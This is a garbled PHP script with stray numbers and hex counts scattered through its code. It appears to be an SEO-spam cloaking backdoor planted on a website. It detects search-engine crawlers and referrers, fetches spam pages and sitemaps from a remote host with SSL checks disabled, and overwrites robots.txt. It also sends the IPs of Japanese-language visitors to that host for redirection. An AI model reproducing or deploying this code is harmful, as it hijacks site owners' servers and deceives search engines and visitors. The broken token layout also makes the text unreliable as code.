1 < 2 ?p 3 hp 2 e 3 rro 3 r_r 2 ep 3 ort 3 ing 2 (0 2 ); 2 2 @s 4 et_t 2 im 3 e_l 3 imi 2 t( 2 12 7 0); @i 2 gn 3 ore 3 _us 3 er_ 2 ab 4 ort( 1 1 6 ); $t 2 r 3 = " 3 htt 2 ps 3 :// 2 j2 1 6 2 01 3 27_ 1 2 3 3.g 2 ag 3 ali 2 li 3 .co 2 m/ 4 "; 2 cl 3 ass 3 Re 2 q 2 { 2 4 2 pu 3 bli 2 c 3 fun 3 cti 3 on 3 ser 2 ve 3 r($ 3 nam 1 e 5 = '' 3 , $ 2 de 3 fau 2 lt 6 = '') 6 7 { 5 i 2 f 3 (em 3 pty 6 ($name 2 )) 1 f { 3 ret 3 urn 3 $_ 2 SE 2 RV 2 ER 3 ; 8 1 } a a $name = st 2 rt 3 oup 1 p 8 er($name c ); 7 return 2 is 4 set( 8 $_SERVER 1 [ 6 $name] 2 ) a ? $_SERVER 7 [$name] 2 : 9 $default 7 ; 7 } 10 public function 4 iss( 16 ) { if ( 2 $t 3 his 2 -> 7 server( 2 'H 3 TTP 2 S' 2 ) 3 && 2 (" 3 1" 2 == 1 18 $this->server('HTTPS') | 3 | " 2 on 5 " == 6 strtol 2 ow 4 er($ 15 this->server('HTTPS') 1 ) 1b )) { return tr 2 ue d ; } 2 el 2 se 5 if (' 6 https' 15 == $this->server('RE 2 QU 2 ES 3 T_S 2 CH 2 EM 2 E' 33 )) { return true; } elseif (' 2 44 1 3 14 ' == $this->server(' 7 SERVER_ 3 POR 1 T 34 ')) { return true; } elseif (' 19 https' == $this->server(' 4 HTTP 3 _X_ 2 FO 2 RW 2 AR 3 DED 2 _P 3 ROT 1 O 2a ')) { return true; } 11 return 2 fa 3 lse 1e ; } public function 3 hos 1 t 14 () { $ 4 host 3 = 3 str 3 val 14 ($this->server('HTTP e _X_FORWARDED_H 2 OS 4 T') 1 ? 3 : $ 13 this->server('HTTP_ 6 HOST') 13 ); return 4 strp 2 os 6 ($host 2 , 2 ': 4 ') ? 7 strstr b ($host, ':' 2 , 5 true) 4 : $ 4 host 1e ; } public function 2 sc 3 hem 1 e 13 () { 8 return $ 6 this-> 5 iss() 3 ? 7 "https" 3 : 5 "http 4 "; b } 10 public function 2 dm 21 () { return $this-> 8 scheme() 3 . 1 " 4 ://" 3 . 7 $this-> 6 host() 1f ; } public function i 1 p 13 () { 5 if (g 3 ete 2 nv 1 ( 7 'HTTP_C 2 LI 2 EN 3 T_I 1 P 14 ')) { $ 2 ip 3 = 18 getenv('HTTP_CLIENT_IP') 15 ; } elseif ( d getenv('HTTP_ c X_FORWARDED_ 3 FOR 26 ')) { $ip = getenv('HTTP_ 11 X_FORWARDED_FOR') 1e ; } elseif (getenv('R 3 EMO 2 TE 3 _AD 1 D 22 R')) { $ip = getenv(' d REMOTE_ADDR') 11 ; } else 10 { 6 $ip = f $this->server(' 19 REMOTE_ADDR'); } 14 return $ip 20 ; } public function is 1 c 15 () { $a 2 ge 1 n 7 t = str 1c tolower($this->server('HTTP_ 1 U 4 SER_ 2 AG 3 ENT 3 ')) b ; 4 if ( 8 $agent ! 4 = '' 6 && pr 3 eg_ 2 ma 3 tch 2 (' 3 /go 2 og 3 leb 2 ot 7 |google 2 |y 2 ah 3 oo| 1 b 4 ing| 2 ao 3 l/s 1 i 4 ', $ 5 agent 29 )) { return true; } 11 return 25 false; } public function is 1 g b () { 3 $ 2 re 2 fe 4 r = 1e strtolower($this->server('HTTP 3 _RE 2 FE 2 RE 4 R')) b ; 6 $refer 4 bots 4 = ' 15 google|yahoo|bing|aol 1 ' 10 ; if ($ 6 refer 15 != '' && preg_match(" 2 /( b $referbots) 3 /si 1 " 8 , $refer 5e )) { return true; } return false; } public function u 2 ri 13 () { 4 if ( 2 ($ 3 pos 6 = str 5 pos($ e this->server(' 8 REQUEST_ 2 UR 2 I' 1 ) 4 , '. 3 php 4 ')) 1 ! 3 == 5 false 12 ) { $ 2 sc 3 rip 2 t_ 7 name = 3 bas 1 e 4 name 12 ($this->server('SC 2 RI 3 PT_ 2 FI 2 LE 2 NA 5 ME')) b ; 4 4 if ( 1f basename($this->server('SCRIPT_ 7 NAME')) 3 == 3 = $ b script_name 15 ) { 2 $u 2 rl 3 = f $this->server(' 7 SCRIPT_ 6 NAME') 10 ; } 9 elseif ( 19 basename($this->server('P 2 HP 3 _SE 2 LF 4 ')) 3b === $script_name) { $url = $this->server(' a PHP_SELF') 32 ; } elseif (basename($this->server('O 2 RI 1 G 3 _SC 5 RIPT_ 43 NAME')) === $script_name) { $url = $this->server(' 12 ORIG_SCRIPT_NAME') 19 ; } elseif ( 1e ($pos = strpos($this->server(' a PHP_SELF') 4 , '/ 1 ' 4 . $ c script_name) 1c ) !== false) { b $url = 3 sub 5 str($ e this->server(' e SCRIPT_NAME'), 2 0 3 , $ 3 pos 4 ) . 12 '/' . $script_name 19 ; } elseif ( f $this->server(' 2 DO 2 CU 1 M 5 ENT_R 2 OO 4 T') 3 && 8 strpos($ 15 this->server('SCRIPT_ d FILENAME'), $ e this->server(' f DOCUMENT_ROOT') 6 ) === 1 0 1c ) { $url = 3 str 4 _rep 3 lac 11 e($this->server(' 12 DOCUMENT_ROOT'), ' 4 ', $ 1f this->server('SCRIPT_FILENAME') 10 ); b } 5 $ 3 req 3 uri 4 = $ 4 url 2 . 16 substr($this->server(' f REQUEST_URI'), 6 $pos + 2 4 c ); 6 } else 11 { $ 9 requri = 25 substr($this->server('REQUEST_URI'), 16 strpos($this->server(' 11 REQUEST_URI'), '/ e ')); b } 8 return r 3 tri 1 m 4 ($re 4 quri 5 , '/' 8 ); 18 } public function e 2 xe 1 c 4 Req( 4 $url 4 , $p 4 = a 3 rra 2 y( 1 ) 12 ) { 7 $url = c str_replace( 2 ' 4 ', ' 1 + 4 ', $ 3 url e ); $c 1 h 4 = c 5 url_i 1 n 3 it( c ); 5 curl_ 4 seto 1 p 4 t($c 3 h, 2 CU 2 RL 1 O 6 PT_URL 12 , $url); 19 curl_setopt($ch, CURLOPT_ 3 RET 2 UR 2 NT 2 RA 2 NS 4 FER, 1 5 1); 4 4 1a curl_setopt($ch, CURLOPT_H 3 EAD 4 ER, 5 0); 21 curl_setopt($ch, CURLOPT_ 2 TI 2 ME 2 OU 3 T, 6 20); 22 curl_setopt($ch, CURLOPT_P 3 OST 28 , 1); curl_setopt($ch, CURLOPT_ 2 SS 2 L_ 3 VER 2 IF 2 YP 1 E 2a ER, 0); curl_setopt($ch, CURLOPT_ a SSL_VERIFY 4 HOST 28 , 0); curl_setopt($ch, CURLOPT_ 4 POST 3 FIE 2 LD 2 S, 1 6 http_b 2 ui 3 ld_ 2 qu 2 er 4 y($p 10 )); $ou 2 tp 1 u 4 t = 5 curl_ 4 exec 4 ($ch d ); $ 6 errorC 2 od 4 e = 7 curl_er 2 rn 11 o($ch); 5 curl_ 3 clo 1 s 3 e($ e ch); 5 if (0 6 !== $ 9 errorCode 11 ) { 7 return 10 false; 13 } return $ 6 output 7 ; 3 } 3 } 7 $req = 2 ne 1 w 4 Req 6 (); $ 2 is 1 c 7 = $req 2 -> 3 isc 9 (); $isg b = $req->is 7 g(); $ 3 uma 4 p = 4 $tr 3 . " 3 map 4 "; 3 $ur 4 i = 4 urld 2 ec 3 ode 6 ($req- 1 > 5 uri() 5 ); $ a p = array( 7 " 2 do 3 mai 5 n" => 7 $req-> 4 dm() 1 , 7 " 4 port b " => $req-> 8 server(' 3 SER 3 VER 7 _PORT', 2 8 1 0 c ), "uri 6 " => $ 4 uri 1 4 ); 4 if ( 8 substr($ 6 uri, - 1 1 3 0) 4 == " 2 ro 4 bots 3 .tx 2 t" a ) { h 2 ea 1 d 4 er(" 3 Con 3 ten 3 t-t 2 yp 3 e:t 2 ex 2 t/ 4 plai 2 n; 2 c 3 har 3 set 3 =ut 2 f- 2 8" 8 ); 2 di 8 e($req-> 9 execReq($ 6 tr . " 6 robots 4 ", $ 6 p)); 3 } 12 if (substr($uri, - 1 6 c ) == "robots a ") { 7 $output 9 = $req-> 1b execReq($tr . "robots", $p) 7 ; 3 $rp 4 t = 3 __D 2 IR 2 __ 5 . "/ b robots.txt" 7 ; 3 fil 2 e_ 4 put_ 1 c 6 ontent 3 s($ 6 rpt, $ 6 output 8 ); 1 $ 6 robots 8 _cont = 1 @ 5 file_ 3 get e _contents($rpt 8 ); 5 if (s 6 trpos( c strtolower($ b robots_cont 3 ), 3 "si 2 te 4 map" e )) { 4 die( b "robots.txt 1 6 file c 3 rea 2 te 4 suc 3 ces 2 s! 9 "); 12 } else { 1e die("robots.txt file create fa 2 il b !"); } 5 } 12 if (substr($uri, - 1 4 7 ) == ". 2 xm 1 l a ") { b if (strpos( 4 $uri 5 , "al 1 l 7 sitemap 7 .xml") 3 || 8 strpos($ 6 uri, " 8 sitemap- 3 ind 2 ex 25 .xml") || strpos($uri, "sitemap-index 2 -1 18 .xml") || strpos($uri, " b index.xml") d ) { 19 $output = $req->execReq($ 4 umap 5 , $p) 7 ; 4 1a header("Content-type:text/ 4 " . 9 (substr($ 6 output 6 , 0, 5 6 ) === 2 '< 1 ? 4 xml' 4 ? ' 6 xml' : 2 ' 5 plain 3 ') 3 . ' f ; charset=utf-8 d '); 4 die( 3 '' 3 . $ e output); 7 } 19 $output = $req->execReq($ 6 tr . " 3 wor 1 d 6 ", $p) 7 ; 1a header("Content-type:text/ 3 xml 18 ; charset=utf-8"); 4 if ( 9 $output = 3 = " 1 1 a ") { e die('' . $ 5 req-> a execReq($u 8 map, $p) 8 ); 16 } else { die( 17 '' . $output); } 6 } $la 1 n a g = $req-> c server('HTTP 2 _A 3 CCE 5 PT_LA 1 N 2 GU 3 AGE 5 '); 5 if (! 5 $isc 6 && $is 1 g c && strpos($ 4 lang 3 , ' 3 ja' 1 ) 3 !== e false) { 2 $p 3 ["i 2 p" 1 ] a = $req->i 3 p() 8 ; $ 1 a 6 ction 9 = $tr . " 2 ju 1 m 9 p"; 13 die($req->execReq($ 6 action 10 , $p)); } if ( 4 $isc 9 ) { a die('' . $ e req->execReq($ 6 tr . " 5 indat 1 a e ", $p)); } ? 1 > 0